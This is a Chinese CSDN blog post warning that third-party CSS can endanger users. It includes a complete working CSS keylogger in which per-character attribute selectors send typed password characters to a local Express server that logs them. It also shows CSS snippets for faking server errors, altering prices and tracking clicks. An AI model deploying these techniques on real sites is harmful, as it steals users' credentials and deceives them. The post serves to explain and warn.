Css 威胁用户安全的几种方式

已于 2022-10-31 22:24:56 修改
阅读量717 收藏 2
点赞数
分类专栏： 网络安全 文章标签： 网络安全 css 键盘记录器
于 2020-12-26 12:01:24 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Lyrelion/article/details/111317532
版权

目录

1. 第三方资源有哪些威胁？

1.1 Image

1.2 JavaScript

1.3 Css

2. Css 威胁用户安全的几种方式

2.1 Css 键盘记录器

2.1.1 html —— react 模板

2.1.2 css —— 密码表

2.1.3 javascript —— 本地 Node.js 服务器脚本

2.1.4 最终效果

2.2 控制页面元素的增删改

2.2.1 控制页面隐藏并报错

2.2.2 使用伪元素篡改内容

2.2.3 修改元素位置

2.3 监视用户交互行为

3. 参考

1. 第三方资源有哪些威胁？

1.1 Image

<img src="https://img.com/test.png" />

引用第三方图片资源，可能会出现两个问题：

  • 图片资源失效 —— 无法预览图片
  • 图片资源被替换 —— 被替换成其他图片

图片资源只会影响图片展示效果，无法影响其他功能

1.2 JavaScript

<script src="http://javascript.com/script.js"></script>

 引用第三方脚本资源，可能会出现许多问题：

  • 读取、篡改浏览器 storage（这种内容被修改的话，即使删除脚本，也不能恢复原效果）
  • 监视用户行为
  • 使用浏览器算力进行挖矿
  • ...

JavaScript 对整个网页生效，只有完全信任某个网站，才能允许它加载脚本资源 

1.3 Css

<link href="http://css.com/style.css" />

引用第三方样式库，可能会出现许多问题：

  • 根据页面输入内容，发起请求，捕获输入值（Css 键盘记录器）
  • 增加、删除、修改页面内容（样式注入覆盖调整）
  • 监视交互行为，完成客户画像（也是利用了 css 发送请求）

Css 同样对整个网页生效，浏览器可以禁用 JavaScript 脚本，却不能禁用 css

2. Css 威胁用户安全的几种方式

2.1 Css 键盘记录器

使用封装好的 css 库，同样有隐患，比如 React 项目中的 Css 键盘记录器 —— 它能够记录用户在网页中的输入

react 中的 input，如果是 password 类型，则 value 会随着用户的输入，被写到 html 里

2.1.1 html —— react 模板

引入 css 样式 —— 这里定义了密码表

引入 React CDN 库

将一个 input 挂载到 app 上

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>React - Css 键盘记录器</title>
    <link rel="stylesheet" href="./index.css" />
  </head>
  <body>

    <div id="app"></div>

    <script src="https://cdn.bootcdn.net/ajax/libs/react/16.13.1/umd/react.production.min.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/react-dom/16.13.1/umd/react-dom.production.min.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/babel-standalone/7.0.0-beta.3/babel.min.js"></script>
    <script type="text/babel">
      const InputDomRef = React.createElement(() => {
        const { useState } = window.React;

        // 设置 input 默认 value 值
        const [state, setState] = useState({ val: "" });

        // 监听 input 的 value 值改变
        const setInput = (e) => {
          setState({
            val: e.target.value,
          });
        };

        return (
          <input type="password" onChange={setInput} value={state.val}></input>
        );
      });

      // 在 DOM 元素上挂载 input
      ReactDOM.render(InputDomRef, document.getElementById("app"));
    </script>
  </body>
</html>

2.1.2 css —— 密码表

为每个 ASCII 码字符，发送自定义请求

如果密码输入框，输入了以 ! 结尾的字符，就会发送请求 http://localhost:3000/%21

input[type="password"][value$=" "] {
  background-image: url("http://localhost:3000/+");
}
input[type="password"][value$="!"] {
  background-image: url("http://localhost:3000/%21");
}
input[type="password"][value$='"'] {
  background-image: url("http://localhost:3000/%22");
}
input[type="password"][value$="#"] {
  background-image: url("http://localhost:3000/%23");
}
input[type="password"][value$="$"] {
  background-image: url("http://localhost:3000/%24");
}
input[type="password"][value$="%"] {
  background-image: url("http://localhost:3000/%25");
}
input[type="password"][value$="&"] {
  background-image: url("http://localhost:3000/%26");
}
input[type="password"][value$="'"] {
  background-image: url("http://localhost:3000/%27");
}
input[type="password"][value$="("] {
  background-image: url("http://localhost:3000/%28");
}
input[type="password"][value$=")"] {
  background-image: url("http://localhost:3000/%29");
}
input[type="password"][value$="*"] {
  background-image: url("http://localhost:3000/%2A");
}
input[type="password"][value$="+"] {
  background-image: url("http://localhost:3000/%2B");
}
input[type="password"][value$=","] {
  background-image: url("http://localhost:3000/%2C");
}
input[type="password"][value$="-"] {
  background-image: url("http://localhost:3000/-");
}
input[type="password"][value$="."] {
  background-image: url("http://localhost:3000/.");
}
input[type="password"][value$="/"] {
  background-image: url("http://localhost:3000/%2F");
}
input[type="password"][value$="0"] {
  background-image: url("http://localhost:3000/0");
}
input[type="password"][value$="1"] {
  background-image: url("http://localhost:3000/1");
}
input[type="password"][value$="2"] {
  background-image: url("http://localhost:3000/2");
}
input[type="password"][value$="3"] {
  background-image: url("http://localhost:3000/3");
}
input[type="password"][value$="4"] {
  background-image: url("http://localhost:3000/4");
}
input[type="password"][value$="5"] {
  background-image: url("http://localhost:3000/5");
}
input[type="password"][value$="6"] {
  background-image: url("http://localhost:3000/6");
}
input[type="password"][value$="7"] {
  background-image: url("http://localhost:3000/7");
}
input[type="password"][value$="8"] {
  background-image: url("http://localhost:3000/8");
}
input[type="password"][value$="9"] {
  background-image: url("http://localhost:3000/9");
}
input[type="password"][value$=":"] {
  background-image: url("http://localhost:3000/%3A");
}
input[type="password"][value$=";"] {
  background-image: url("http://localhost:3000/%3B");
}
input[type="password"][value$="<"] {
  background-image: url("http://localhost:3000/%3C");
}
input[type="password"][value$="="] {
  background-image: url("http://localhost:3000/%3D");
}
input[type="password"][value$=">"] {
  background-image: url("http://localhost:3000/%3E");
}
input[type="password"][value$="?"] {
  background-image: url("http://localhost:3000/%3F");
}
input[type="password"][value$="@"] {
  background-image: url("http://localhost:3000/%40");
}
input[type="password"][value$="A"] {
  background-image: url("http://localhost:3000/A");
}
input[type="password"][value$="B"] {
  background-image: url("http://localhost:3000/B");
}
input[type="password"][value$="C"] {
  background-image: url("http://localhost:3000/C");
}
input[type="password"][value$="D"] {
  background-image: url("http://localhost:3000/D");
}
input[type="password"][value$="E"] {
  background-image: url("http://localhost:3000/E");
}
input[type="password"][value$="F"] {
  background-image: url("http://localhost:3000/F");
}
input[type="password"][value$="G"] {
  background-image: url("http://localhost:3000/G");
}
input[type="password"][value$="H"] {
  background-image: url("http://localhost:3000/H");
}
input[type="password"][value$="I"] {
  background-image: url("http://localhost:3000/I");
}
input[type="password"][value$="J"] {
  background-image: url("http://localhost:3000/J");
}
input[type="password"][value$="K"] {
  background-image: url("http://localhost:3000/K");
}
input[type="password"][value$="L"] {
  background-image: url("http://localhost:3000/L");
}
input[type="password"][value$="M"] {
  background-image: url("http://localhost:3000/M");
}
input[type="password"][value$="N"] {
  background-image: url("http://localhost:3000/N");
}
input[type="password"][value$="O"] {
  background-image: url("http://localhost:3000/O");
}
input[type="password"][value$="P"] {
  background-image: url("http://localhost:3000/P");
}
input[type="password"][value$="Q"] {
  background-image: url("http://localhost:3000/Q");
}
input[type="password"][value$="R"] {
  background-image: url("http://localhost:3000/R");
}
input[type="password"][value$="S"] {
  background-image: url("http://localhost:3000/S");
}
input[type="password"][value$="T"] {
  background-image: url("http://localhost:3000/T");
}
input[type="password"][value$="U"] {
  background-image: url("http://localhost:3000/U");
}
input[type="password"][value$="V"] {
  background-image: url("http://localhost:3000/V");
}
input[type="password"][value$="W"] {
  background-image: url("http://localhost:3000/W");
}
input[type="password"][value$="X"] {
  background-image: url("http://localhost:3000/X");
}
input[type="password"][value$="Y"] {
  background-image: url("http://localhost:3000/Y");
}
input[type="password"][value$="Z"] {
  background-image: url("http://localhost:3000/Z");
}
input[type="password"][value$="["] {
  background-image: url("http://localhost:3000/%5B");
}
input[type="password"][value$="\\"] {
  background-image: url("http://localhost:3000/%5C");
}
input[type="password"][value$="]"] {
  background-image: url("http://localhost:3000/%5D");
}
input[type="password"][value$="^"] {
  background-image: url("http://localhost:3000/%5E");
}
input[type="password"][value$="_"] {
  background-image: url("http://localhost:3000/_");
}
input[type="password"][value$="`"] {
  background-image: url("http://localhost:3000/%60");
}
input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}
input[type="password"][value$="b"] {
  background-image: url("http://localhost:3000/b");
}
input[type="password"][value$="c"] {
  background-image: url("http://localhost:3000/c");
}
input[type="password"][value$="d"] {
  background-image: url("http://localhost:3000/d");
}
input[type="password"][value$="e"] {
  background-image: url("http://localhost:3000/e");
}
input[type="password"][value$="f"] {
  background-image: url("http://localhost:3000/f");
}
input[type="password"][value$="g"] {
  background-image: url("http://localhost:3000/g");
}
input[type="password"][value$="h"] {
  background-image: url("http://localhost:3000/h");
}
input[type="password"][value$="i"] {
  background-image: url("http://localhost:3000/i");
}
input[type="password"][value$="j"] {
  background-image: url("http://localhost:3000/j");
}
input[type="password"][value$="k"] {
  background-image: url("http://localhost:3000/k");
}
input[type="password"][value$="l"] {
  background-image: url("http://localhost:3000/l");
}
input[type="password"][value$="m"] {
  background-image: url("http://localhost:3000/m");
}
input[type="password"][value$="n"] {
  background-image: url("http://localhost:3000/n");
}
input[type="password"][value$="o"] {
  background-image: url("http://localhost:3000/o");
}
input[type="password"][value$="p"] {
  background-image: url("http://localhost:3000/p");
}
input[type="password"][value$="q"] {
  background-image: url("http://localhost:3000/q");
}
input[type="password"][value$="r"] {
  background-image: url("http://localhost:3000/r");
}
input[type="password"][value$="s"] {
  background-image: url("http://localhost:3000/s");
}
input[type="password"][value$="t"] {
  background-image: url("http://localhost:3000/t");
}
input[type="password"][value$="u"] {
  background-image: url("http://localhost:3000/u");
}
input[type="password"][value$="v"] {
  background-image: url("http://localhost:3000/v");
}
input[type="password"][value$="w"] {
  background-image: url("http://localhost:3000/w");
}
input[type="password"][value$="x"] {
  background-image: url("http://localhost:3000/x");
}
input[type="password"][value$="y"] {
  background-image: url("http://localhost:3000/y");
}
input[type="password"][value$="z"] {
  background-image: url("http://localhost:3000/z");
}
input[type="password"][value$="{"] {
  background-image: url("http://localhost:3000/%7B");
}
input[type="password"][value$="|"] {
  background-image: url("http://localhost:3000/%7C");
}
input[type="password"][value$="\\}"] {
  background-image: url("http://localhost:3000/%7D");
}
input[type="password"][value$="~"] {
  background-image: url("http://localhost:3000/~");
}
input[type="password"][value$=""] {
  background-image: url("http://localhost:3000/%7F");
}

2.1.3 javascript —— 本地 Node.js 服务器脚本

新建 package.json

npm init -y

安装 express

yarn add express

生成的 package.json

{
  "name": "react-test",
  "version": "1.0.0",
  "description": "",
  "main": "main.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "express": "^4.18.2"
  }
}

编写 main.js

const express = require("express");
const app = express();

app.get("/:key", (req, res) => {
  // 打印键值
  process.stdout.write(req.params.key);
  return res.sendStatus(400);
});

app.listen(3000, () => console.log("服务器启动成功"));

nodejs 中的 process.stdout.write_天猫精灵998的博客-CSDN博客_nodejs process.stdout.write今天看了一个 npm 包的源码，里面用到了 process.stdout.write 这个 API 。咋一看感觉跟 Java 的 System.out.print 有点类似，但是 JS 打印的语句难道不是 console.log 么？于是查了下，发现 console.log 原来底层就是基于 process.stdout.write 实现的：Console.prototype.log = function() { this._stdout.write(util.format.apply(this, ahttps://blog.csdn.net/weixin_43487782/article/details/117488160

启动 main.js（在项目根目录下）

node main.js

2.1.4 最终效果

在浏览器中打开 html 页面，用户输入后，value 值被直接写入了 html

在终端中查看控制台输出，服务器接收到了用户输入的值 

 

2.2 控制页面元素的增删改

2.2.1 控制页面隐藏并报错

body {
    display: none;
}
html::after {
    content: 'HTTP 500 Server Error';
}

2.2.2 使用伪元素篡改内容

.price-value::after {
    content: '8';
}

2.2.3 修改元素位置

.move-purchase-button {
    opacity: 0;
    position: absolute;
    top: 100px;
    left: 100px;
}

2.3 监视用户交互行为

用户不同的交互状态，会发送不同的 http 请求

.login-button:hover {
    background: url('//example.com/login-button-hover');
}
.login-button:active {
    background: url('//example.com/login-button-active');
}

3. 参考

别人写的css，你敢用吗？ | YeaseonZhang为了实现高效开发，大多数时候会选择别人实现好的库/组件引用到自己的项目中，但是这样真的安全吗？ 大多数web开发者认为只要不使用别人的js，安全就会有保证。Too young, too naive，殊不知“黑客”已经开始在css上做手脚了。 在浏览器设置中用户可以禁用js，但是css却是没有办法禁用的。 首先聊一聊使用第三方资源，能够造成的危害。http://yeaseonzhang.github.io/2018/04/10/%E5%88%AB%E4%BA%BA%E5%86%99%E7%9A%84css%EF%BC%8C%E4%BD%A0%E6%95%A2%E7%94%A8%E5%90%97%EF%BC%9F/

第二章（CSS 键盘记录器-React）_哔哩哔哩_bilibili第二章（CSS 键盘记录器-React）是小满网络安全系列的第2集视频，该合集共计7集，视频收藏或关注UP主，及时了解更多相关视频内容。https://www.bilibili.com/video/BV1eZ4y1C7Jc?p=2&vd_source=8bc01635b95dbe8ecd349b2c23b03a10

Lyrelion
关注
专栏目录
[网络安全提高篇] 一一二.DataCon Coremail邮件安全竞赛之钓鱼邮件识别及分类
杨秀璋的专栏
10-26 2万+
这是作者2020年参加清华大学、Coremail、奇安信DataCon举办的比赛，主要是关于钓鱼和异常邮件识别研究。非常感谢举办方让我们学到了新知识，DataCon也是我比较喜欢和推荐的大数据安全比赛，这篇文章2020年10月就进了我的草稿箱，但由于小珞珞刚出生，所以今天才发表，希望对您有所帮助！感恩同行，不负青春。
[网络安全自学篇] 八十七.恶意代码检测技术详解及总结
热门推荐
杨秀璋的专栏
07-16 2万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了威胁情报分析，通过Python抓取FreeBuf网站“APT”主题的相关文章。这篇文章将详细总结恶意代码检测技术，包括恶意代码检测的对象和策略、特征值检测技术、校验和检测技术、启发式扫描技术、虚拟机检测技术和主动防御技术。基础性文章，希望对您有所帮助~
CSS是如何发起攻击的?
petertanjinjie的博客
05-07 1667
CSS是如何发起攻击的写在开头我们熟悉XSS攻击和CSRF等攻击方式但是，其他有一种攻击，是CSS攻击，今天我就在这里做一个简单的解析第一种，CSS获取用户密码当用户输入指定的密码是：前端...
CSS劫持攻击
WindrunnerMax
03-24 1841
CSS劫持攻击 CSS劫持是一种并不很受重视的劫持方式，但是其也有一定的危害，且由于其并不一定需要依赖JavaScript，这使得此种攻击方式更容易实现。 ClickJacking点击劫持 当访问某网站时，利用CSS将攻击者实际想让你点击的页面进行透明化隐藏，然后在页面后显示 一些东西诱导让你点击，点击后则会在用户毫不知情的情况下做了某些操作，这就是点击劫持ClickJacking。 iframe...
CSS攻击：记录用户密码
weixin_34099526的博客
03-06 271
简单的CSS代码，甚至不符合图灵完备的语言，但是也能成为一些攻击者的工具，下面简单介绍一下如何使用CSS去记录用户的密码。但是这些CSS脚本会出现在第三方CSS库中，所以使用第三方CSS库也需要谨慎，确保代码安全。直接上代码解析：input[type="password"][value$="0"] { background-image: url("http://localhost:300...
CSS攻击技术揭密
09-14
跨站脚本(Cross Site Scripting)攻击是指在远程Web页面的HTML代码中插入恶意的JavaScriP、VBScrip，ActiveX、HTML或Flash等脚本，窃取浏览此页面的用户的信息，改变用户的设置，破坏用户数据的攻击技术。跨站脚本攻击在多数情况下不会对服务器和Web程序的运行造成影响，但对客户端的安全会构成严重的威胁，这主要是由于服务器对用户提交的数据过滤不完整造成的
Web安全技术及应用-项目2 Web开发基础
最新发布
09-25
**SQL注入攻击**是一种常见的网络安全威胁，通常发生在应用程序未能正确过滤或验证用户输入的情况下。在本项目中，以万能密码登录漏洞为例，描述了Post型SQL注入攻击。这种攻击允许攻击者通过构造特定的SQL语句，...
ASP.NET Web应用程序常见网络安全漏洞解决方案分析.pdf
09-19
针对XSS，开发者可以采取以下几种方法：使用RegularExpressionValidator控件结合正则表达式对用户输入进行格式验证，比如通过设置ValidationExpression来限制输入只能是数字和英文字母组成的字符串；避免使用字符串...
关于信息融合的网络安全态势评估模型研究.pdf
09-20
网络安全态势评估模型（Cyber Security Situation Awareness, CSSA）是用来量化和预测网络安全状态的一种工具。它通常包括以下几个关键组成部分： 1. 数据收集：这是模型的基础，涉及从网络的不同部分收集各种类型...
信息安全-攻击-XSS：XSS/CSS 攻击
weixin_30273763的博客
08-19 406
ylbtech-信息安全-攻击-XSS：XSS/CSS 攻击 XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得...
css攻击技术初探
Cocowool的专栏
11-19 2636
跨站脚本（Cross Site Scripting）攻击是指在远程WEB页面的HTML代码中插入恶意的JavaScript，VBScript， ActiveX，HTML，或Flash等脚本，窃取浏览此页面的用户的信息，改变用户的设置，破坏用户数据的攻击技术。跨站脚本攻击在多数情况下不会对 服务器和WEB程序的运行造成影响，但对客户端的安全构成严重的威胁，这主要是由于服务器对用户提交的数据过滤不完整
苹果css攻击,研究人员设计了一种新的CSS和HTML攻击 导致iPhone重启或冻结Mac
weixin_39661129的博客
08-03 151
来自Wire的安全研究员安全研究员Sabri Haddouche设计了一种新的CSS攻击，导致iPhone重启或冻结Mac。来自Wire 的安全研究员安全研究员 Sabri Haddouche设计了一种新的攻击方法，该方法使Apple设备的资源饱和，并在访问网页时导致崩溃或系统重启。专家们发现当用户访问包含某些CSS和HTML的网页时，iOS重启和macOS会冻结。根据所使用的iOS版本，该错误可...
CSRF / XSRF（跨站请求伪造），XSS/CSS（跨站脚本攻击）
m0_59070120的博客
09-20 657
你可以这么理解 CSRF 攻击：攻击者盗用了你的身份，以你的名义进行恶意请求。它能做的事情有很多包括：以你的名义发送邮件、发信息、盗取账号、购买商品、虚拟货币转账等。* 4、危险网站中存在恶意代码，代码为发送一个恶意请求（举例：购买商品/余额转账）* 2、登录成功后在浏览器产生信息存储（举例：cookie）* 6、淘宝验证请求为合法请求（区分不出是否是该用户发送）* 3、用户在没有登出淘宝的情况下，访问危险网站。* 5、携带刚刚在浏览器产生的信息进行恶意请求。* 1、浏览并登录信任网站（举例：淘宝）
第三方 CSS 并不安全
程序员阿飘 的博客
03-19 116
你可以为不同的字符，并针对特定的元素，创建大量不同的字体。虽然 CSS 不能修改本地存储，也不能通过 CSS 运行 cryptocoin 挖矿程序（也许是可能的，只是我不知道而已），但恶意 CSS 代码仍然能造成很大的损失。一张图片或沙盒化的 iframe 仅在一个小范围内的沙箱中，但脚本和样式的范围却是你的页面，甚至是整个站点。默认情况下，浏览器不会将用户输入的值存储在 value 属性中，因此这种攻击需要依赖某些能同步这些值的东西，如 React。，如果它有误，则是原站点的问题，并不是本站造成的”。
asp.net3.5个性化用户配置web.config代码
python二级题库
10-14 1574
<!-- 注意: 除了手动编辑此文件以外，您还可以使用 Web 管理工具来配置应用程序的设置。可以使用 Visual Studio 中的 “网站”->“Asp.Net 配置”选项。 设置和注释的完整列表在 machine.config.comments 中，该文件通常位于 /Windows/Microsoft.Net/Fra
别天真了，第三方 CSS 并不安全
前端大全
03-07 804
（点击上方公众号，可快速关注）英文：Jake   译文：众成翻译/KINGhttp://zcfy.cc/article/third-party-css-is-not-safe最近一段时间，关于 通过 CSS 创建 “keylogger”（键盘记录器） 的讨论很多。有些人呼吁浏览器厂商去“修复”它。有些人则深入研究，表示它仅能影响通过类 React 框架建立的网站，并指责 React。而真正的问题却
CSS keylogger：攻击与防御
weixin_34138139的博客
01-03 977
前言 前阵子在 Hacker News 上面看到这篇：Show HN: A CSS Keylogger，大开眼界，决定要找个时间好好来研究一下，并且写一篇文章分享给大家。 这篇会讲到以下东西： 什麽是 keylogger CSS keylogger 的原理 CSS keylogger 与 React 防御方法 好，那就让我们开始吧！ Keylogger 是什麽？ Keylogger 就是键盘侧...
《CSSV交叉脚本网站攻击实现》
dis86的博客
10-24 626
讨论以下问题：                 1、Internet的脚本技术有什么作用？                 2、如何防止CSSV攻击？                 3、Web网站的创建者可以进行何种类型的测试，以便抵御CSSV攻击？         交叉网站脚本攻击（Cross Site Scripting Vulnerability，CSSV）是一种相对较新的攻击形式，它可以...
防御 CSS 黑客——介绍“安全的 CSS hacks”
迹忆客
12-28 869
我们如何在中定位 Internet Explorer？你使用 CSS hacks、条件样式表或其他东西吗？关于这个已经有很多讨论了，我并不是要开始一个新的讨论。每个人都有权发表自己的意见，但问题是这不仅仅是一个哲学问题。我写这篇文章是因为我注意到在 CSS hack 这个主题上存在很多误解。人们一直提倡三种不同的方法：条件样式表、CSS hack 或条件类名。所有这些技术都有其优点和缺点。让我们来看看。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lyrelion

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值